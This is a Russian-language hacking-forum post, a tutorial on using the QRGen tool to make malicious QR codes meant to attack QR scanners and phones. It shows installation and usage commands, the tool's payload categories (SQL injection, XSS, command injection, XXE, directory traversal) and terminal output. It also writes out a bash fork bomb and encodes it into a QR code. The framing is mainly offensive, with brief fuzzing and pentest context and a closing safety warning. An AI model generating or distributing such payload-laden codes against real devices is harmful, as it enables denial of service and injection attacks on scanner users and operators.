QR-коды на стороне зла. Создание QR-кодов для взлома устройств

Tartuga

Интересующийся
ЗАБАНЕН
Регистрация
7/2/20
Сообщения
71
Репутация
200
Реакции
311
RUB
0
Сделок через гаранта
2
Если вы планируете сделку с его участием, мы настоятельно рекомендуем вам не совершать ее до окончания блокировки. Если пользователь уже обманул вас каким-либо образом, пожалуйста, пишите в арбитраж, чтобы мы могли решить проблему как можно скорее.
QR-коды есть везде, от упаковки товара до посадочных талонов авиакомпании, что делает сканеры, считывающие их, интересной целью для хакеров. Благодаря недостаткам многих из этих проприетарных сканирующих устройств, можно использовать общие уязвимости, используя эксплойты, упакованные в пользовательские QR-коды.
Инструмент под названием QRGen может создавать вредоносные QR-коды и даже кодировать пользовательские полезные нагрузки.
Эти атаки являются мощными, потому что люди не могут читать или понимать информацию, содержащуюся в QR-коде. Даже сканеры, такие как смартфоны, например, могут быть уязвимы для такого рода атак.
Также, было обнаружено, что QR-коды способны заманивать пользователей iPhone на вредоносные сайты.
Что за QR-коды?
QR-коды - это форматы данных, которые полезны для всего, что необходимо сканировать автоматически.

До QR-кодов существовало несколько других форматов, называемых линейными штрих-кодами, которые также сохраняли данные в удобном для машин виде. Вы, вероятно, видели штрих-код UPC не раз, так как он часто используется для идентификации товаров для продажи, чтобы кассиры могли сканировать их.
3fac08e9c4d9e7d55ac42.png


Штрих-код UPC, (или универсальный код продукта), используется с 1974 года.
Его назначение в основном в розничной торговле и кодирует он только серию цифр, что делает его ограниченным в применении. Хотя существует много различных типов линейных штрих-кодов, они не могут хранить много информации. Такие приложения, как судоходство и производство автомобилей, требовали стандарта, который бы содержал больше данных.
Что могут коды с большим количеством данных?
QR-коды появились в автомобильной промышленности как способ отслеживать автомобили в процессе их производства, но их популярность быстро выросла за пределами этой отрасли.
Подобно другим кодам, QR-коды могут содержать тонну данных и даже работать при уменьшении разрешения или иным повреждении.
06eb995875e847b7d00b1.png


Один QR-код может содержать 4 296 символов ASCII, что дает гораздо больше возможностей. Вы даже можете отформатировать данные для запуска действий, когда устройство чтения распознает их.
Одно из замечательных применений QR-кодов благодаря их большей емкости данных - это использование их для управления подключениями Wi-Fi без использования пароля. Кодируя следующую строку, вы можете создать QR-код, который автоматически регистрирует пользователей Android в сети Wi-Fi.
WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>;

Любой, кто сканирует QR-код на устройстве Android, автоматически войдет в зашифрованную сеть Wi-Fi. Чтобы узнать, сколько данных может упаковать QR-код, взгляните на этот код:
d4bd475a68298c2a55b95.png


Этот крошечный код содержит следующий текст:
Version 40 QR Code can contain up to 1852 chars.
A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones.
The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data.
Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes.
The QR code was designed to allow its contents to be decoded at high speed.
The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes.
Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context,
including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed mobile tagging).
QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message.
Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps.

Текст на изображении больше самого QR-кода! Емкость делает QR-коды и мощными, и опасными, потому что люди не могут понять данные внутри них без предварительного их сканирования.
QRgen для взломанных кодов
Поскольку человек не может распознать вредоносный QR-код до его фактического сканирования, относительно большая полезная нагрузка QR-кода может принести пользу хакеру, особенно в сочетании с уязвимыми устройствами.
Инструмент, который мы будем использовать сегодня для их создания, называется QRGen.
Он возьмет полезную нагрузку и закодирует ее в QR-код, используя Python.
QRGen поставляется со встроенной библиотекой, которая содержит множество популярных эксплойтов, что очень полезно, если у вас есть время сесть за то же устройство, которое вы хотите использовать, и выяснить, какое из них работает. Для пентестера, желающего проверить все, что использует сканер QR-кода, простая покупка того же сканера и пробежка по эксплойтам может привести к тому, что сканер будет вести себя неожиданным образом.
Доступ к категориям полезных нагрузок, доступных в QRGen, можно получить с помощью -l и номера во время выполнения скрипта. Номер и тип полезной нагрузки указаны ниже.
0: SQL-инъекции
1: XSS
2: Инъекция команд
3: формат строки
4: XXE
5: Струйный Fuzzing
6: SSI инъекция
7: LFI / Обратный путь в каталогах

Чтобы создать кучу вредоносных QR-кодов, содержащих нечеткие полезные нагрузки строк, мне просто нужно запустить QRGen.py -l 5, чтобы создать множество кодов для тестирования.
Что понадобится
Чтобы использовать QRGen, вам нужно установить Python 3.
Это должно быть возможно в любой операционной системе. Вам также понадобятся несколько библиотек Python, включая qrcode, Pillow и argparse, которые мы также установим.
Установка QRGen
Чтобы начать, скачаем из гитхаба.
~$ git clone

Cloning into 'QRGen'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (86/86), done.
remote: Compressing objects: 100% (78/78), done.
remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0
Unpacking objects: 100% (86/86), done.

Когда загрузка кончится, поменяйте параметр (cd) на его директорию и перечислите (ls) его содержимое, чтобы найти требуемый файл.
~$ cd QRGen
~/QRGen$ ls

demo.gif qrgen.py README.md requirements.txt words

Теперь вам нужно убедиться, что у нас установлены все необходимые библиотеки. Для этого запустим установочный файл с помощью следующей команды.
~/QRGen$ pip3 install -r requirements.txt

Collecting qrcode (from -r requirements.txt (line 1))
Downloading
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1)
Collecting argparse (from -r requirements.txt (line 3))
Downloading
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0)
Installing collected packages: qrcode, argparse
Successfully installed argparse-1.4.0 qrcode-6.1

Если не сработает - есть альтернативная команда
~/QRGen$ python3 -m pip install -r requirements.txt

Создание вредоносных QR-кодов из типа полезной нагрузки
Теперь вы сможете запустить скрипт, набрав python3 qrgen.py.
~/QRGen$ python3 qrgen.py

e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus

usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]

Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader

optional arguments:
-h, --help show this help message and exit

Options for QRGen:
--list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
Set wordlist to use
--wordlist WORDLIST, -w WORDLIST
Use a custom wordlist

Pay attention everywhere, even in the dumbest spot

Для начала давайте создадим полезную нагрузку. Для этого запустите QRGen со следующим аргументом.
~/QRGen$ python3 qrgen.py -l 5

e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus

Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Будет сгенерировано несколько QR-кодов, и последний из созданных автоматически откроется.
create-malicious-qr-codes-hack-phones-other-scanners.w1456.jpg


Чтобы увидеть остальные данные, вы можете набрать cd genqr, чтобы перейти в каталог, в котором они созданы, и просмотреть его содержимое.
~/QRGen$ cd genqr
~/QRGen/genqr$ ls

payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png
payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png
payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png
payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png
payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png
payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png
payload-15.png payload-24.png payload-33.png payload-42.png
payload-16.png payload-25.png payload-34.png payload-43.png
payload-17.png payload-26.png payload-35.png payload-44.png
payload-18.png payload-27.png payload-36.png payload-45.png


Кодирование полезных нагрузок
Чтобы кодировать полезную нагрузку, мы можем сначала создать текстовый файл, содержащий то, что мы хотим кодировать.
Каждая строка будет новой полезной нагрузкой.
Сначала мы можем создать следующий текстовый файл, набрав nano badstuff.txt для создания текстового файла.
~/QRGen/genqr$ nano badstuff.txt

В этот текстовый файл мы можем поместить нашу полезную нагрузку. Та, что ниже, - это fork-бомба. Будет ли она работать на сканере QR-кода? Кто знает.
:(){ :|: & };:

Мы можем сохранить его, нажав Ctrl + X, затем нажмите Y и Enter, чтобы подтвердить сохранение. Теперь вы должны увидеть текстовый файл, содержащий вашу полезную нагрузку.
~/QRGen/genqr$ ls

badstuff.txt payload-18.png payload-27.png payload-36.png payload-45.png
payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png
payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png
payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png
payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png
payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png
payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png
payload-15.png payload-24.png payload-33.png payload-42.png
payload-16.png payload-25.png payload-34.png payload-43.png
payload-17.png payload-26.png payload-35.png payload-44.png

Чтобы записать свою полезную нагрузку в QR-код, мы будем использовать команду -w.
Предполагая, что ваш файл полезных данных называется «badstuff.txt», команда для этого должна выглядеть следующим образом (не забудьте заранее вернуться в каталог QRGen).
~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt'

e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus

Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Для моей бомбы программа генерирует такой QR-код
create-malicious-qr-codes-hack-phones-other-scanners.w1456.jpg


Не все QR-коды целесообразно сканировать
QR-коды могут кодировать много информации, и, как мы узнали сегодня, они могут даже быть запрограммированы, чтобы заставить устройство делать что-либо.
Это делает сканирование QR-кода рискованным, поскольку у человека нет возможности прочитать информацию, прежде чем сканировать. Если вы сканируете QR-код, который кажется подозрительным, обратите внимание на то, что код пытается запустить, и не подключайтесь к сети Wi-Fi и не переходите к сокращенной ссылке.
 
Сверху Снизу